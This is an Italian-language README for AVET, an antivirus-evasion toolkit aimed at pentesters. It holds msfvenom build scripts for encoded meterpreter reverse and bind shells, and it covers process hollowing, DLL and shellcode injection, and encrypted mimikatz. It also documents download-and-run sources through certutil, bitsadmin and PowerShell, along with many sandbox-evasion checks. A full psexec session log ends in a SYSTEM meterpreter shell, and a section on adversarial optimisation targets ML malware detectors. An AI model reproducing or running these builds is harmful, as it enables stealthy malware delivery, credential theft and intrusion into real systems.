Strumento di evasione antivirus
AVET è uno strumento di evasione antivirus, sviluppato per semplificare la vita ai pentester e per sperimentare tecniche di evasione antivirus, oltre ad altri metodi utilizzati da software dannosi. Per una panoramica delle nuove funzionalità della v2.4, nonché degli incrementi delle versioni precedenti, consulta il file CHANGELOG.
Non tutte le tecniche eluderanno tutti i motori antivirus. Se una tecnica o uno script di build non funziona, provane un'altra. Sentiti libero di sperimentare! Dopotutto, questa è una cassetta degli attrezzi: ma spetta a te usare il martello.
Le istruzioni di installazione si applicano per Kali 64bit e tdm-gcc!
È possibile utilizzare lo script di setup:```bash ./setup.sh
Questo dovrebbe farti iniziare automaticamente installando/configurando wine e installando tdm-gcc.
Dovrai comunque cliccare attraverso l'interfaccia grafica del programma di installazione di tdm-gcc - le impostazioni standard dovrebbero andare bene.
Lo script chiederà anche se desideri installare le dipendenze di AVET, necessarie per utilizzare alcuni script di build. Le dipendenze scaricate verranno inserite in cartelle separate accanto alla cartella avet.
Le dipendenze scaricheranno le ultime versioni di:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
Se per qualsiasi motivo desideri installare wine e tdm-gcc manualmente:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Se non stai usando Kali o non vuoi installare Metasploit sul tuo sistema, puoi invece utilizzare il contenitore Docker.
Il contenitore incapsula Metasploit e avet e i campioni verranno creati nella tua directory corrente.
È anche possibile utilizzare un editor di testo grafico come gedit.
Costruzione del contenitore:```bash
sudo docker build -t avet:v0.1 .
Uso:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
Per una migliore esperienza, si consiglia di creare un alias per questo.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py è una piccola utility Python progettata per assisterti nell'uso dello strumento.
Elenca tutti gli script presenti nella cartella build. Dopo averne selezionato uno, potrai esaminare lo script riga per riga, avendo l'opportunità di modificarne i contenuti al volo.
Quest'ultima funzionalità è particolarmente utile perché puoi definire nuove variabili LHOST e LPORT per msfvenom ogni volta che esegui uno script di build tramite fabric.
Puoi definire valori predefiniti di LHOST e LPORT nel file /build/global_connect_config.sh, che vengono utilizzati se non li ridefinisci.
Queste modifiche sono temporanee, il che significa che qualsiasi modifica apportata non persisterà nello script di build su disco. La versione modificata viene eseguita una volta e il tuo eseguibile viene costruito.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET in modalità normale
Ovviamente è possibile eseguire tutti i comandi passo dopo passo dalla riga di comando. Tuttavia, nella cartella "build" troverai script di build preconfigurati per casi d'uso pertinenti.
Gli script di build stessi sono scritti in modo da dover essere richiamati dalla directory avet:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
You puoi definire valori predefiniti per LHOST e LPORT per i payload metasploit nel file /build/global_connect_config.sh, che vengono utilizzati se non li ridefinisci.
Genera un eseguibile di process hollowing a 32 bit in due passaggi (come in build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):
Primo, genera il payload hollowing con AVET:
Secondo, costruisci l'eseguibile "dropper" che consegna il payload del primo passaggio tramite hollowing:
Quindi ottieni un payload meterpreter a due strati con controlli ambientali e crittografato, innestato via hollowing in un processo a tua scelta. Sebbene le impostazioni nello script di build siano per lo più a scopo dimostrativo, c'è molta flessibilità per personalizzare il tuo eseguibile generato apportando semplici modifiche allo script di build.
Potresti cambiare i metodi di recupero dati: invece di compilare staticamente la maggior parte dei dati nell'eseguibile, potresti scaricare il payload hollowing tramite powershell, scaricare la chiave di decrittazione tramite socket, utilizzare una crittografia diversa o controlli ambientali diversi, ecc.
Oppure prova ad aggiungere più strati di evasione effettuando una terza iterazione di build. Oppure cambia il payload. Vuoi usare Mimikatz invece? Convertilo in shellcode tramite https://github.com/hasherezade/pe_to_shellcode e modifica il payload nello script di build.
Ovviamente puoi anche progettare build più minimaliste, come eseguire shellcode non crittografato con un solo controllo ambientale, o forse 50 iterazioni di shikata sono sufficienti per raggiungere il tuo obiettivo? Scegli/modifica gli script di build in base alle tue esigenze.
Di seguito, trovi un elenco di tutti gli script di build attualmente forniti. I nomi dovrebbero suggerire la funzionalità di ciascuno script. Per informazioni dettagliate, considera i commenti all'interno degli script. Sentiti libero di modificare/scrivere i tuoi script di build per creare il tuo eseguibile personalizzato!
Questi metodi sono compatibili con tutte le sorgenti dati di AVET e possono essere utilizzati come tali nello script di build.
Alcuni esempi:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
Se le funzionalità vengono saltate/non utilizzate, è necessario specificare un comportamento NOP-like invece:```
set_command_source no_data
set_command_exec no_command
I dati vengono recuperati da un file e vengono compilati staticamente nell'eseguibile generato. Affinché funzioni, i dati devono essere forniti come un array in stile C al momento della compilazione, come``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
I dati sono compilati staticamente nell'eseguibile generato,
recuperati dall'argomento specificato nello script di build.
#### dynamic_from_file
I dati vengono letti da un file in fase di esecuzione.
#### from_command_line_hex
Recupera i dati da una stringa esadecimale in formato "11aabb22.." (dalla riga di comando).
#### from_command_line_raw
Recupera i dati da un argomento della riga di comando. La stringa ASCII fornita viene interpretata come dati grezzi di byte.
#### download_certutil
Scarica i dati da un URI specificato, utilizzando ```certutil.exe -urlcache -split -f```.
Salva il file scaricato su disco prima di leggere i dati.
#### download_curl
Scarica i dati utilizzando curl.
Salva il file scaricato su disco prima di leggere i dati.
#### download_internet_explorer
Scarica i dati da un URL specificato, utilizzando Internet Explorer.
Salva il file scaricato su disco prima di leggere i dati.
#### download_powershell
Scarica i dati da un URI specificato tramite PowerShell.
Salva il file scaricato su disco prima di leggere i dati.
#### download_socket
Scarica i dati da un URI specificato, utilizzando socket.
I dati vengono letti direttamente in memoria, nessun file viene salvato su disco.
#### download_bitsadmin
Scarica i dati utilizzando l'utilità Windows BITSAdmin.
Salva il file scaricato su disco prima di leggere i dati.
### Metodi di esecuzione del payload
Come eseguire/fornire il payload. I metodi di injection/hollowing richiedono informazioni aggiuntive sul target dell'iniezione, che possono essere fornite tramite ```set_payload_info_source <le_info>``` (vedi metodi di recupero dati).
#### exec_shellcode
Esegue shellcode a 32 bit con un binding di funzione C.
#### exec_shellcode64
Esegue shellcode a 64 bit con un binding di funzione C e VirtualProtect.
#### exec_shellcode_ASCIIMSF
Esegue shellcode codificato in ASCIIMSF tramite ```call eax```.
#### hollowing32
Istanziato un nuovo processo, taglia l'immagine originale e inserisce il payload fornito nel nuovo processo.
Il payload è un eseguibile a 32 bit. Funziona su target a 32 bit.
#### hollowing64
Come hollowing32, ma utilizzando payload PE a 64 bit per processi target a 64 bit.
#### inject_dll
Inietta una DLL in un processo target, utilizzando ```CreateRemoteThread```.
L'iniezione funziona rispettivamente per payload a 32 bit in processi a 32 bit e payload a 64 bit in processi a 64 bit.
#### inject_shellcode
Inietta shellcode in un processo target, utilizzando ```CreateRemoteThread```.
L'iniezione funziona rispettivamente per shellcode a 32 bit in processi a 32 bit e shellcode a 64 bit in processi a 64 bit.
### Crittografia e codifica
AVET fornisce codificatori per ogni schema, che possono essere applicati al payload prima della compilazione/consegna.
In fase di esecuzione, il decoder specificato deoffusca nuovamente il payload in fase di runtime.
Ecco un esempio RC4, in cui la chiave di decrittazione viene recuperata dalla riga di comando in formato esadecimale al momento dell'esecuzione:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
Puoi anche saltare la funzione di codifica non codificando ulteriormente lo shellcode e impostando:``` set_key_source no_data set_decoder none
#### xor
XOR rolling, supporto per chiavi multi-byte.
#### avet
Codifica personalizzata, reinterpretazione del formato ASCII.
#### rc4
Crittografia/decrittografia RC4, con lunghezza chiave flessibile.
### Elusione del debugger e della sandbox
Si tratta di controlli ambientali eseguiti prima dell'eventuale codifica e dell'esecuzione del payload.
Se viene rilevato un ambiente di esecuzione ostile (ad esempio una sandbox antivirus), l'esecuzione si arresta.
Attualmente, è possibile mettere in coda arbitrariamente fino a 10 controlli. È supportato l'utilizzo multiplo della stessa tecnica.
Il limite della coda *EVASION_ARRAY_SIZE* può tuttavia essere facilmente modificato in *avet.c*.
#### presenza del debugger
Verifica con la funzione isDebuggerPresent() se è presente un debugger.
Esce se vero.```
add_evasion is_debugger_present
Attendi per un certo tempo prima dell'esecuzione. La durata (in secondi) può essere specificata nello script di build, come```
add_evasion evasion_by_sleep 3
#### sleep tramite ping
Interrompe l'esecuzione del programma per i secondi specificati inviando un comando ping temporizzato verso localhost.
Il programma esegue un ping una volta al secondo.```
add_evasion sleep_by_ping 4
Controlla se la sandbox utilizza il fast forwarding per ridurre il tempo di controllo euristico. Vengono utilizzati il tempo locale e il sleep.``` add_evasion check_fast_forwarding
#### get tickcount
Verifica se la sandbox utilizza il fast forwarding per ridurre il tempo di controllo euristico. Vengono utilizzati uptime e sleep.```
add_evasion get_tickcount
Ottieni lo username e confrontalo con lo username fornito. Esci se non corrisponde.``` add_evasion has_username 'IEUser'
#### Messagebox
Genera una semplice Messagebox prima dell'esecuzione. Se l'operazione aritmetica non viene risolta correttamente, il programma termina.```
add_evasion interaction_msg_box
Attende fino a quando l'input non viene consegnato usando getchar.``` add_evasion interaction_getchar
#### system pause
Esegue system("pause"), facendo sì che il cmd spawnato (e il nostro processo principale) attendano qualsiasi pressione di tasto.```
add_evasion interaction_system_pause
Verifica l'esistenza di un file. Se non trovato, interrompe l'esecuzione. Il nome del file può essere specificato nello script di build, come``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### bios info
Verifica se è possibile ottenere la tabella del firmware SMBIOS. Interrompe l'esecuzione in caso contrario.```
add_evasion get_bios_info
Prova a risolvere un hostname a tua scelta. Se gethostbyname restituisce diverso da NULL, interrompi l'esecuzione. L'hostname da controllare può essere specificato nello script di compilazione, come``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
Controlla il numero di core CPU sul target. Se il numero è inferiore al valore specificato, interrompe l'esecuzione.```
add_evasion get_cpu_cores 2
Controlla i prefissi MAC specifici del fornitore. Se identificato, interrompi l'esecuzione.``` add_evasion has_vm_mac
#### has_vm_regkey
Controlla la presenza di chiavi di registro specifiche del vendor. Se ne vengono identificate, interrompe l'esecuzione.```
add_evasion has_vm_regkey
Non è proprio una tecnica di evasione, ma nasconde la finestra della console ;)``` add_evasion hide_console
#### Data di installazione
Recupera la data di installazione di Windows e confrontala con quella specificata. Se le date non coincidono, interrompi l'esecuzione. La data deve essere specificata nel formato dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'
Conta il numero di processi in esecuzione. Se il numero di processi è inferiore alla soglia data, interrompi l'esecuzione.``` add_evasion get_num_processes 50
#### Browser predefinito
Legge la chiave di registro per ottenere il browser predefinito. Se il browser non corrisponde al valore fornito, interrompe l'esecuzione. I possibili valori sono MSEdgeHTM, Firefox o ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
Interroga il dominio DNS in cui si trova il target. Se il target non si trova nel dominio previsto come specificato, il programma esce.``` add_evasion get_computer_domain 'domain.com'
#### Calcolo
Fibonacci
Calcola le iterazioni specificate della serie di Fibonacci.
Probabilmente produrrà risultati falsi per n grande a causa dei limiti degli interi.```
# 10 iterations
add_evasion computation_fibonacci 10
Timed Fibonacci
Interrompe i calcoli di Fibonacci dopo circa i secondi specificati.```
add_evasion computation_timed_fibonacci 20
#### Cartelle e altro
Verifica se l'artefatto esiste, interrompi l'esecuzione in caso contrario. I percorsi devono essere in stile Unix.
Sfondo:```
add_evasion has_background_wp
Controlla la cartella:``` add_evasion has_folder 'C:/Users/user/Downloads/'
Verifica per Desktop Pubblico:```
add_evasion has_public_desktop
Verifica la presenza del Cestino``` add_evasion has_recycle_bin
Controlla la cartella dei file recenti```
add_evasion has_recent_files
Verifica unità di rete``` add_evasion has_network_drive
### Esecuzione aggiuntiva di comandi
Ti consente di eseguire un payload cmd/powershell aggiuntivo subito dopo le eventuali funzioni di evasione sandbox.
La sorgente del payload è compatibile con i metodi di recupero dati di AVET.
Il seguente esempio scarica un payload powershell tramite BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
Prende dati grezzi come input da un file, li converte in formato array C e scrive l'output in un altro file. Aiuta a fornire il formato corretto per il metodo di recupero dati static_from_file.
Utilità di generazione chiavi. Genera una chiave casuale (non crittograficamente sicura) o prende una chiave predefinita come input, e scrive i dati della chiave grezza in un file specificato. Aiuta a fornire materiale chiave per la funzionalità di cifratura di AVET.
Utilità da AVET 1.3 che esegue la codifica AVET.
AVET è compatibile con il modulo psexec di metasploit. Per questo, l'eseguibile generato deve essere compilato come un servizio Windows, implementato utilizzando avetsvc.c. Considera il corrispondente script di build di esempio
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
E dal lato di Metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
Gli esempi avversariali sono input specificamente progettati con lo scopo di portare i modelli di machine learning a una classificazione errata.
Per utilizzare questo metodo, crea un ambiente virtuale e installa le dipendenze necessarie da requirements.txt.
Sono disponibili cinque manipolazioni che preservano la funzionalità per i file PE:
Per applicare la manipolazione pratica al malware con byte casuali iniettati, usa il comando gen_adversarial_exe seguito dal nome della manipolazione pratica e dal percorso del file come parametri.
Le manipolazioni disponibili sono full_dos, extend, shift, padding, section_injection.
Per esempio:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### Ottimizzazione Genetica
Invece di iniettare contenuto casuale, è possibile ottimizzare il contenuto per ottenere una maggiore probabilità di elusione.
L'ottimizzatore estrae sezioni benigne da goodware e utilizza un algoritmo genetico per ottimizzare il contenuto iniettato.
Il contenuto viene ottimizzato contro MalConv, un rilevatore statico basato su machine learning e su una rete neurale convoluzionale.
L'implementazione di MalConv utilizzata proviene dalla libreria [SecML Malware](https://github.com/pralab/secml_malware).
È richiesto del goodware, che deve essere inserito nella cartella `input/goodware_samples`.
Il [DikeDataset](https://github.com/iosifache/DikeDataset), ad esempio, è una buona fonte per ottenere file eseguibili benigni. Più ce ne sono, meglio è, ma 100 sono sufficienti per scopi di test.
Per utilizzare l'ottimizzatore, usa il comando `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
Opzioni possibili:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
Per saperne di più su esempi avversari, ottimizzazione genetica e MalConv, consulta:
- [Adversarial EXEmples: Un'Indagine e una Valutazione Sperimentale degli Attacchi Pratici al Machine Learning per il Rilevamento di Malware Windows](https://arxiv.org/abs/2008.07125)
- [Ottimizzazione Black-box degli Attacchi Avversari a Malware Windows che Preserva la Funzionalità](https://arxiv.org/abs/2003.13526)
- [Rilevamento Malware Mangiando un Intero EXE](https://arxiv.org/abs/1710.09435)
## More
---
Per le basi sull'evasione antivirus, AVET e ulteriori informazioni, dai un'occhiata qui (principalmente per la versione 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)